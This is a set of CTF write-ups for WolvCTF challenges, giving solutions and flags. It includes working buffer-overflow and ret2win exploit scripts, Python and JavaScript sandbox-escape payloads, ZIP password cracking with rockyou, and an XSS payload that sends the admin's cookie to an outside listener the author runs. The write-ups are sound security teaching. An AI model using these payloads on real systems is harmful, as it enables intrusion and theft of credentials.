- Charlotte's Web - (Beginner - 50pts)
- baby-re - (Beginner - 50pts)
- baby-pwn - (Beginner - 50pts)
- theyseemerolling - (Beginner - 50pts)
- cat - (Beginner - 50pts)
- elytra - (Beginner - 50pts)
- escaped - (Beginner - 50pts)
- yowhatsthepassword - (Beginner - 50pts)
- We Will Rock You - (Beginner - 50pts)
- keyexchange - (Crypto - 120pts)
- Switcharoo - (Misc - 100pts)
- Abstract Art - (Misc - 100pts)
- yellsatjavascript - (Misc - 364pts)
- yellsatpython - (Misc - 451pts)
- Limited Characters - (Misc - 439pts)
- child-re - (Reverse - 100pts)
- Homework Help - (Reverse - 265pts)
- important_notes - (Forensics - 456pts)
- Dino Trading - (Forensics - 100pts)
- Zombie 101 - (Web - 100pts)
-
-
Save shinmai/5720d1f0a214d0878cfb530eb975c469 to your computer and use it in GitHub Desktop.
I saw this new painting in a gallery by famed painter Otto Stairee O'Graham. Everyone raves about how clearly it represents some common motif, but looking at it just makes me go cross-eyed.
flag is: wctf{name of object in painting} (hint: it's two syllables)
abstract.jpeg - a JPEG image [download]
- as a 90s kid, the image is immediately recognisable as a "Magic Eye" image - or more properly and autostereogram; a 2D image that is capable of producing the illusion of a 3D scene when viewed correctly.
- I'm technically able to view autostereograms, but I see them with the Z axis inverted and viewing them causes me not-insignificant physical pain
- Luckily there are tools to decode them
- Upload the image to Jérémie Piellard's stereogram solver and the result is a fairly clear image of a teapot:
the flag is wctf{teapot}
Just a wee little baby pwn.
nc baby-pwn.wolvctf.io 1337
babypwn - 64-bit ELF executable for the server [download]
babypwn.c - C source code for the executable [download]
- based on the C source, a fairly simple buffer overflow where a volatile int variable needs to be overwritten in order for
print_flag()
to be executed
- The downloadable version, based on the source, prints a fake flag in
print_flag()
import angr
from pwn import remote
p = angr.Project('baby-pwn')
sm = p.factory.simgr()
sm.explore(find=lambda s: b"wctf{" in s.posix.dumps(1))
payload = sm.found[0].posix.dumps(0)
r = remote('baby-pwn.wolvctf.io', 1337)
r.recv()
r.sendline(payload)
print(r.recvlineS().strip())
r.close()
gets us the flag `wctf{W3lc0me_t0_C0stc0_I_L0v3_Y0u!}``
Just a wee little baby re challenge.
baby-re - 64-bit ELF executable [download]
strings
shows a couple of fake flags and some prompt strings- only one flag in the strings output is not referenced in any code
- that's the correct flag
wctf{Oh10_Stat3_1s_Smelly!}
meow
nc cat.wolvctf.io 1337
c_llenge - 64-bit ELF executable [download] callenge.c - the source code for the executable [download] Makefile - Makefile used to build the executable [download] Dockerfile - Dockerfile used to host the challenge [download]
- based on the source code, the program prints some preamble, uses
gets()
to read user input into a buffer of 128 bytes, prints the buffer out and exits - there's a
win()
function not called in the code that prints a message and spawns a shell withsystem()
- a ret2win buffer overflow
- binary is 64-bit, so stack needs to be 16-byte aligned or
system()
will SEGFAULT
from pwn import *
exe = ELF("challenge")
context.binary = exe
p = process(exe.path)
p.recvuntil(b"dangerous!\n")
p.sendline(cyclic(250, n=8))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8), n=8)
rop = ROP(exe)
ret=rop.find_gadget(["ret"])
rop.raw(offset * b"A")
rop.call(ret)
rop.call(exe.symbols.win)
r = remote("cat.wolvctf.io", 1337)
r.recvuntil(b"dangerous!\n")
r.sendline(rop.chain())
r.recv()
r.sendline(b'cat flag.txt')
print(r.recvS().strip())
r.close()
wctf{d0n+_r0ll_y0ur_0wn_c_:3}
Welcome to the web!
- a website with just a button, clicking on which shows an unhelpful alert()
- there's an HTML comment
<!-- /src -->
/src
has the Flask source for the challenge, a simple app with 3 routes:/
that displays the aforementioned web page/src
that returns the contents ofapp.py
/super-secret-route-nobody-will-guess
that's only defined for the PUT method that returns the contents of a file calledflag
Commanding curl -X PUT https://charlotte-tlejfksioa-ul.a.run.app/super-secret-route-nobody-will-guess
will get us the flag:
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}
You've graduated from baby, congrats!
child-re
64-bit ELF executable [download]
Dockerfile
Docker configuration for the remote endpont [download]
- main() is a red herring with a Hitchhiker's Guide reference
- there's another function at 0x1165 that never get's called, but pushes some bytes to the stack, XORs them with a value and prints the result
- Pull the bytes from the binary
- XOR them with some value; we know it's 0x42 - references. Even if we didn't, we could brute-force it
from Crypto.Util.numbers import long_to_bytes
# copied from the binary in Binary Ninja
enc_flag = bytes.fromhex('5d495e4c51621b5e4942421b4119581f756d5f1b4e19755e1a755e4219756d1e461e52530b0b751e1857')
for c in enc_flag:
print(end=chr(c ^ 42))
print()
This gets us the flag: wctf{H1tchh1k3r5_Gu1d3_t0_th3_G4l4xy!!_42}
I love trading dinosaurs with my friends! I'm sure nobody can see what we're sending, because otherwise, my dinosaurs might get taken.
download.pcap - a packet capture file [download]
- the capture is fairly short and only seems to contain 3 streams:
- an FTP session
- a reverse FTP data connection
- the actual FTP data transfer
- the FTP session seems normal, as does the file transfer procedure
- the transferred file
epicfight.jpg
can be exported from Wireshark withFile -> Export Objects -> FTP-DATA
exiftool
doesn't immediately return anything usefull, so we'll just toss the file at stegoveritas- there's a steghide payload in the results
d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9
- there's a steghide payload in the results
- I was REALLY tired at this point and legit didn't recognise it sa base64 😅 Luckily there are good tools out there, we toss the string at ares along with the flag format
ares -t 'd2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9' -r "^wctf\{.*\}"
:
wctf{an_1mage_in_a_peecap_b64}
I beat the game! But where's the flag?
iwon.txt - a plaintext file [download]
- googling the task name, elytra are a rare end-game item in the game Minecraft
- googling part of the text file, it's the End Poem (found in the Java Edition's
client.jar
atassets/minecraft/texts/end.txt
) a poem penned by Julian Gough that appears to players at the end of a Minecraft playthrough before the credits crawl.- the raw text from
end.txt
has some byte-sequences replaced before the text is displayed to the player, iniwon.txt
thePLAYERNAME
sequence is replaced withdoubledelete
, the line begining§2
and§3
are stripped, and the§f§k§a§b§3
denoting scrambled text is replaced with[scrambled]
- the raw text from
- comparing the original
end.txt
with the aforementioned replacements withiwon.txt
shows some line-ending differences - not all lines are different, though, some lines in
iwon.txt
are\r\n
terminated, others are\n
terminated
from Crypto.Util.number import long_to_bytes
text=open('iwon.txt','r', newline='').read()
flag_l = int(''.join(['1' if x[-1] == '\r' else '0' for x in o.split('\n') if len(x) > 0]),2)
print(long_to_bytes(flag_l).decode())
wctf{ggwp}
nya
nc escaped.wolvctf.io 1337
jail.py
- the Pyhon script running on the server [download]
Dockerfile
- the Dockerfile for the container hosting the script [download]
- the script is a very simple Pyhon jail that takes user input, checks if for some syntax requirements, passes it to
eval()
inside anast.compile()
call that compiles an AST that prints the return value of theeval()
and then runs the compiled result - the syntax checks are:
- the input must start with a double quote
- the input must end with a double quote
- no character in between can be a literal double quote
- Must break out of quotes and read
flag.txt
- since any escape sequences in the input won't be evaluated until the call to
eval()
we can break out of our opening double quotes with\x22
- sending an input like
" \x22+open('flag.txt').read()+\x22 "
will concatenate the contents offlag.txt
with two whitespace characters and print the result, giving us the flag
wctf{m30w_uwu_:3}
I wrote a program to solve my math homework so I could find flags. Unfortunatly my program sucks at math and just makes me do it. It does find flags though.
homework_help
64-bit ELF executable [download]
- disassembly doesn't initally show anything useful
- main() calls ask() which prints some preamble, prompts the user for an input and runs eval(input)
- eval does some checks on the input but still nothing indicating a flag
- there's a function called
offer_help
that's not called from any of thre previous 3 functions, but is called from__stack_chk_fail
. Itfgets
0x21 bytes from stdin to a memory regionFLAG
__stack_chk_fail
seems to be the real flagcheck
__stack_chk_fail
:- sets up some values on the stack (bytes interleaved by 3 null bytes)
- does a
_setjmp
and a check - sets some initial values
- iterates over the bytes on the stack, xoring them with a running xor result and compares agains the bytes stored at
FLAG
- pull out the bytes stored on the stack
- set a variable
A
to0x41
andB
to the first byte from the stack - for 0x20 loops with the iterator
i
:B = B ^ A
flag+=B
A = stack_bytes[i]
This gets us the flag: wctf{+m0r3_l1ke_5t4ck_chk_w1n=-}
idk im blanking on any lore for this challenge
important_notes.zip - a ZIP archive containing 7 plain-text files [download]
- All other files seem like just random (based on the language, likely AI generated) text, but
idea2.txt
andessay2.txt
have a bunch of extraneous whitespace at the end of the file. - The
idea
files contain ideas for CTF challenges,idea2.txt
is about a stego challenge
- The whitespace at the end of
essay2.txt
is just a bunch of linefeeds idea2.txt
however has lines containig a mix of tabs and spaces
- Take the block of whitespace at the end of
idea2.txt
- Replace
\t
with 1 and - remove lines with a lone
1
on them - discard 4 leading zeroes so you have 8 bits per line
- decode each line as an 8-bit byte for the flag
See here
wctf{h4rD_dr1v3_bR0Wn135_mmMmmMm}
Diffie-Hellman is secure right
remote endpoint: nc keyexchange.wolvctf.io 1337
challenge.py
Python script for the remote endpoint [download]
Dockerfile
Docker configuration for the remote endpont [download]
- we get
pow(s, a, n)
- we are prompted for
b
and an XOR key is constructed withpow(pow(s, a, n), b, n)
- the flag is padded with null bytes to the length of the key, XORed and we get the a hex digest
- If we pass 1 as
b
, the key becomespow(pow(s, a, n), 1, n)
orpow(s, a, n) % n
orpow(s, a, n)
. - We know
pow(s, a, n)
.
- receive
pow(s, a, n)
from server - provide 1 as the value for
b
- receive the hex digest of the cipher text from server
- unhexlify ciphertext, XOR with
pow(s, a, n)
- get flag
from pwn import *
from Crypto.Util.strxor import strxor
r = remote('keyexchange.wolvctf.io', 1337)
r.recvline()
pow_san = r.recvlineS()
r.recvuntil(b'> ')
r.sendline(b'1')
enc_flag = bytes.fromhex(r.recvlineS())
key = (int(pow_san)).to_bytes(64, 'big')
flag = strxor(enc_flag, key)
print(flag)
This gets us the flag: wctf{m4th_1s_h4rd_but_tru5t_th3_pr0c3ss}
Keyboards are expensive, so I've decided to be nice and cut down on the unnecessary real estate. Enjoy your low form-factor python terminal!
nc limited-characters.wolvctf.io 1337
jail.py
- the Python source for the server [download]
Dockerfile - the Dockerfile for the container hosting the challenge [download]
- A python jail challenge where a payload for
exec(eval(code))
must be constructed that causes the contents offlag.txt
to be output to stdout but that only contains chracters from the set1<rjhniocd()_'[]+yremlsp,.
code
basically needs to be python code that evaluates to the stringprint(open('flag.txt').read())
- We have a numeral, a plus sign and the smaller-than operator, as well as parentheses and the letters c, h and r - we should be able to construct the string fairly easily using some bitwise math and addition
- Our payload also MUST contain each character in the allowed set at least once
- We get the following fragments for "free":
prin
(open(
l
.
).re
d()
- That leaves the following to be constructed:
t
f
ag
txt
a
- To construct, say
t
, we can dochr(1+111+(1<<1+1))
orchr(1+111+(1<<2))
chr(1+111+4)
chr(116)
- Send our finished payload
'prin'+chr(1+111+(1<<1+1))+'(open('+chr(11+11+11+1+1+1+1+1+1)+chr((1+1+1+11+11<<1+1)+1+1)+'l'+chr(((1<<1)+(11+11)<<1+1)+1)+chr(1+1+1+(1+1+1+11+11<<1+1))+'.'+chr((1+11<<1)+(1+11+11<<1+1))+chr((11+1+1+1<<1)+(1+11+11<<1+1))+chr((1+11<<1)+(1+11+11<<1+1))+chr(11+11+11+1+1+1+1+1+1)+').re'+chr(((1<<1)+(11+11)<<1+1)+1)+'d()'+'''+'1<rjhniocd()_[]+yremlsp,. ')'''
to the server for the flag
wctf{th3_gr34t_esc4p3_&&}
It's a busy weekend, with tens of CTF happening at the same time :) If there is extra time, why not check out https://ctf.b01lers.com? BTW, take this as a gift: YmN0ZntoMzExMF93MHIxZF9nMWY3X2ZyMG1fN2gzX2IwMWxlcl9zMWQzfQ==
- the provided "gift" is the base64 encoded flag to the b01lers CTF challenge "switcheroo"
- the description for "switcheroo" is:
It's a busy weekend, tens of CTFs happening at the same time :) If there is extra time, why not checkout https://wolvctf.io?Btw, take this as a gift: d2N0ZntNNDF6M180bmRfQmx1M30K
- base64 decoding the gift from the b01lers challenge gets us the flag
wctf{M41z3_4nd_Blu3}
they hatin my cryptosystem
theyseemerolling.zip - a ZIP archive containing two files [download]
output.txt
- the ciphertext a hex digest [download]enc.py
- the Python code used to generate the ciphertext [download]
- the sript generates a random 8-byte key with
os.urandom(8)
- it then reads the plaintet from a file as bytes and pads it to
length % 4 * 4 + 4
with NULL bytes - the resulting byte-array is then encrypted with the key in blocks of 4 bytes
- a four byte index is prepended to each block
- because of the four byte index, the first 4 bytes of the random key are always only used to encrypt the padding bytes, so only the last 4 bytes of the key interest us
- the key will start with
wctf{
meaning we can just XOR the lower 4 bytes of the first block withwctf
to recover the lower 4 bytes of the key
Because Register operators don't work inside Subsections, there's a manual cleanup Find / Replace operators at the end to restore the beginning of the flag. CyberChef link
wctf{i_sw3ar_my_pr0f_s4id_r0ll_y0ur_0wn_crypt0}
Hey! Here's the code for your free tickets to the rock concert! I just can't remember what I made the password...
we_will_rock_you.zip - a password protected ZIP file [download]
- there's one file inside the ZIP archive
we_will_rock_you/flag.txt
- the name heavily suggest a wordlist to try
- use
zip2john
to create a hashfile for John the Ripper (or hashcat if you prefer) -zip2john we_will_rock_you.zip > johnfile
- crack the password using rockyou.txt as the wordlist -
john --wordlist=/usr/share/wordlists/rockyou.txt johnfile
- the password is
michigan4ever
- get the flag
unzip -P michigan4ever -p we_will_rock_you.zip we_will_rock_you/flag.txt
wctf{m1cH1g4n_4_3v3R}
JavaScript is cursed :(
nc yellsatjavascript.wolvctf.io 1337
chall.js - the node JavaScript source code for the server [download]
- the code gets an input from the user, does some checks on it and if they pass, passes it to
eval()
- the flag is stored in a variable called
flag
- the checks are:
- input musn't contain the character sequence "flag"
- input musn't contain the character
.
- input musn't containt curly braces
- we need access to
console.log()
to print output - we need to obfuscate
flag
to pass it toconsole.log()
- besides the dot notation, another way to access prototype members/object properties in JavaScript is array keys:
object['property']
btoa()
andatob()
are built-in functions for base64
- combining the previous knowledge, seding
console['log'](eval(atob('ZmxhZw==')))
, withZmxhZw==
beingflag
base64 encoded, gets us the flag
wctf{javascript_!==_java}
"p*thon"
nc yellsatpython.wolvctf.io 1337
jail.py
- the Pyhon source code for the server [download]
- the banned list looks indimitating at first, but notice
open()
isn't in there, and neither ischr()
- the only thing standing between us and
open('flag.txt').read()
are the two dots
open()
returns a file object, that is an iterator that processes the file one line at a time (in ASCII mode)- the built-in
min
function, if passed an iterable, goes through all the values of the iterable, and returns the smallest one - Our flag file likely only has one line
- we send
min(open('flag'+chr(0x2e)+'txt'))
and get the flag.
wctf{us3_h4sk3ll_n0t_p*th0n-r4g0b}
hey I lost the password :(
main.py
- a Python script [download]
- a comment in the script purpots the task is to guess a number between 0 and 2**32
- the value the user inputs is compared agains a value generated from a base64 encoded string
- if the values match, it's used to seed Python's random number generator and random integers between 97 and 126 are generated until one matches
ord('}')
- we can just take the comparison value from the script and feed it ot the generator function to get the flag
import random
random.seed(2536466855)
c = 0
while c != ord('}'):
c = random.randint(97, 126)
print(end=chr(c))
print()
wctf{ywtp}
Can you survive the Zombie gauntlet!?
First in a sequence of four related challenges. Solving one will unlock the next one in the sequence.
They all use the same source code but each one has a different configuration > file.
This first one is a garden variety "steal the admin's cookie".
Good luck!
Please don't use any automated tools like dirbuster/sqlmap/etc.. on ANY challenges. They won't help anyway.
zombie-101-source.zip - a ZIP archive with the source code for the website and the admin bot [download]
- the description pretty explicitly states this is an XSS challenge, and the source code confirms this
- There's just a straight up unfiltered XSS in the
/zombie
route on theshow
GET parameter
- for some reason my go-to of
<img src=c onerror="window.location='$URL?cookies='+btoa(document.cookie)">
did't work for the bot but did in testing
- Let's just use a straight-up script tag, then:
<script>window.location='http://ctf.shinmai.wtf/?cookie='+btoa(JSON.stringify(document.cookie));</script>
- URL encode it, add it to the url and send the result to the bot
https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow%2Elocation%3D%27http%3A%2F%2Fctf%2Eshinmai%2Ewtf%2F%3Fcookie%3D%27%2Bbtoa%28JSON%2Estringify%28document%2Ecookie%29%29%3B%3C%2Fscript%3E
- on the server just set up a simple socat listener
socat tcp-listen:80,reuseaddr,fork -
- We soon get the following:
GET /?cookie=ImZsYWc9d2N0ZntjMTQ1NTFjLTRkbTFuLTgwNy1jaDQxLW4xYzMtajA4LTkzMjYxfSI= HTTP/1.1 referer: https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow%2Elocation%3D%27http%3A%2F%2Fctf%2Eshinmai%2Ewtf%2F%3Fcookie%3D%27%2Bbtoa%28JSON%2Estringify%28document%2Ecookie%29%29%3B%3C%2Fscript%3E accept: text/html,*/* content-type: application/x-www-form-urlencoded;charset=UTF-8 user-agent: Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4 host: ctf.shinmai.wtf Connection: keep-alive
- decode the base64 for the flag
wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}